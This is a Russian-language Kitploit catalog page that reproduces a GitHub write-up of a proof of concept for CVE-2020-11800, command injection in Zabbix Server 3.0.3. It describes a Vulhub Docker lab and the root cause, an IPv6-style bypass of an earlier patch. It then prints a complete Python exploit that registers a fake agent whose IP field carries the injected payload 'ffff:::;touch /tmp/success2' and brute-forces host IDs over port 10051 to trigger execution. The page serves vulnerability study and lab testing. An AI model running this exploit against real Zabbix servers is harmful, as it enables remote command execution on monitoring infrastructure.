Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-11800 — Эксплойт PoC для CVE-2020-11800 — внедрение команд в Zabbix Server через вредоносную авторегистрацию агента, с доставкой полезной нагрузки на Python и перебором ID хостов. | Kitploit
Инструменты/GitHubGitHub/ycseo-git/cve-2020-11800
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Эксплойт PoC для CVE-2020-11800 — внедрение команд в Zabbix Server через вредоносную авторегистрацию агента, с доставкой полезной нагрузки на Python и перебором ID хостов.

Репозиторий
74 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Разделы, требуемые методическими указаниями, помечены как «(Обязательно)».

1. Среда (Обязательно)

Dockerfile (Обязательно)

В этой среде используется пользовательский Dockerfile, основанный на уязвимом образе Zabbix Server от Vulhub.

FROM vulhub/zabbix:3.0.3-server

Dockerfile собирает локальный образ, используя уязвимую среду Zabbix Server 3.0.3. В процессе сборки дополнительные пакеты или конфигурации не добавлялись.


docker-compose.yml (Обязательно)

Уязвимая среда настраивается с помощью Docker Compose.

Среда состоит из четырёх сервисов:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

Сервис server собирается локально с использованием Dockerfile:

server:
  build: .
  image: cve-2020-11800-server

Контейнер MySQL автоматически импортирует SQL-файлы инициализации из каталога src/ с помощью монтирования томов:

volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Это позволяет загружать схему базы данных и начальные данные Zabbix автоматически при запуске контейнера.


Архитектура сервисов (Обязательно)

Среда работает по следующей структуре:

[Браузер]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Предоставляет веб-интерфейс управления, доступный через браузер.

Администратор настраивает авторегистрацию и выполняет операции мониторинга через этот интерфейс.

Zabbix Server

Основной компонент, отвечающий за:

  • управление агентами
  • выполнение скриптов
  • логику мониторинга
  • обработку событий

Уязвимость внедрения команд срабатывает внутри этого контейнера.

Zabbix Agent

Выступает в роли отслеживаемого хоста и взаимодействует с Zabbix Server.

Эксплойт использует механизм авторегистрации в процессе регистрации агента.

MySQL

Хранит конфигурационные данные Zabbix, информацию о хостах и данные мониторинга.


Образы и версии (Обязательно)

СервисОбразВерсия
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

Среда основана на уязвимом окружении Zabbix 3.0.3, предоставленном Vulhub.

2. Первопричина (Обязательно)

Описание уязвимости (Обязательно)

CVE-2020-11800 — это уязвимость внедрения команд в функциональности Active Proxy Trapper Zabbix Server.

Уязвимость существует из-за неполного исправления для CVE-2017-2824. Злоумышленник может обойти оригинальный патч, используя полезную нагрузку в стиле IPv6, и выполнить произвольные команды на Zabbix Server.

Уязвимость срабатывает в процессе авторегистрации, когда сервер обрабатывает информацию о хосте, контролируемую пользователем.


Анализ первопричины (Обязательно)

Коренная причина уязвимости — небезопасная обработка пользовательского ввода внутри shell-команд.

Во время выполнения скрипта Zabbix Server использует зарегистрированное значение IP-адреса хоста для формирования команд, например:

ping <host_ip>

В обычных условиях:

ping 127.0.0.1

Однако если злоумышленник регистрирует хост, используя следующую полезную нагрузку:

ffff:::;touch /tmp/success2

то итоговая команда, выполняемая оболочкой, становится:

ping ffff:::;touch /tmp/success2

Поскольку точка с запятой (;) действует как разделитель команд оболочки, она интерпретирует ввод как две отдельные команды:

ping ffff:::
touch /tmp/success2

В результате становится возможным выполнение произвольных команд.

Обход патча с помощью IPv6

Оригинальный патч для CVE-2017-2824 пытался ограничить вредоносные входные значения.

Однако логика проверки не обрабатывала должным образом ввод в стиле IPv6.

Полезная нагрузка:

ffff:::;touch /tmp/success2

использует префикс, подобный IPv6 (ffff:::), для обхода существующей логики проверки, при этом всё ещё внедряя метасимволы оболочки.

Это позволяет злоумышленникам обойти предыдущий патч и продолжать эксплуатировать уязвимость внедрения команд.


Процесс срабатывания уязвимости (Обязательно)

Процесс эксплуатации происходит в следующем порядке:

Злоумышленник
 ↓
Регистрация поддельного агента
 ↓
Сохранение вредоносного IP
 ↓
Выполнение скрипта Zabbix
 ↓
Формирование shell-команды
 ↓
Внедрение команды
 ↓
Выполнение произвольной команды

Сначала злоумышленник отправляет вредоносный запрос авторегистрации, содержащий подделанное поле IP.

После регистрации хоста Zabbix Server выполняет скрипт мониторинга, используя сохранённое значение IP-адреса хоста.

В ходе этого процесса вредоносная нагрузка интерпретируется оболочкой, что приводит к выполнению произвольных команд.


Схема атаки и последствия (Обязательно)

Эксплойт позволяет злоумышленникам выполнять произвольные команды с привилегиями процесса Zabbix Server.

В этой среде успешная эксплуатация создала следующий файл внутри контейнера сервера:

/tmp/success2

Это подтверждает, что внедрённые shell-команды были успешно выполнены.

В реальной среде успешная эксплуатация может позволить злоумышленникам:

  • выполнять произвольные системные команды
  • загружать и запускать вредоносное ПО
  • проводить внутреннюю разведку
  • перемещаться к другим системам
  • компрометировать инфраструктуру мониторинга

Уязвимость особенно опасна, поскольку серверы мониторинга часто имеют доступ к нескольким внутренним системам и компонентам инфраструктуры.

3. PoC (Обязательно)

Обзор PoC (Обязательно)

Доказательство концепции (PoC) написано на Python и взаимодействует напрямую с Zabbix Server через TCP-порт 10051.

PoC выполняет следующие действия:

  1. Отправляет вредоносный запрос авторегистрации
  2. Подбирает валидные значения hostid перебором
  3. Запускает выполнение скрипта с внедрённой полезной нагрузкой

Код PoC

import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Анализ полезной нагрузки (Обязательно)

Полезная нагрузка, используемая в этом PoC:

ffff:::;touch /tmp/success2

Структура полезной нагрузки

ЧастьНазначение
ffff:::Префикс в стиле IPv6 для обхода проверок
;Разделитель команд оболочки
touch /tmp/success2Произвольная команда, выполняемая на сервере

Полезная нагрузка использует тот факт, что сервер некорректно объединяет управляемые пользователем значения IP в shell-команды.

Назначение

  • Регистрирует поддельный Zabbix Agent
  • Сохраняет вредоносное значение IP на сервере
  • Подготавливает цель для внедрения команд

Полезная нагрузка доставляется через поле ip в процессе авторегистрации.


Процесс выполнения кода PoC (Обязательно)

Запрос авторегистрации

Первый запрос, отправляемый PoC, пытается зарегистрировать вредоносный хост.

Скачать инструмент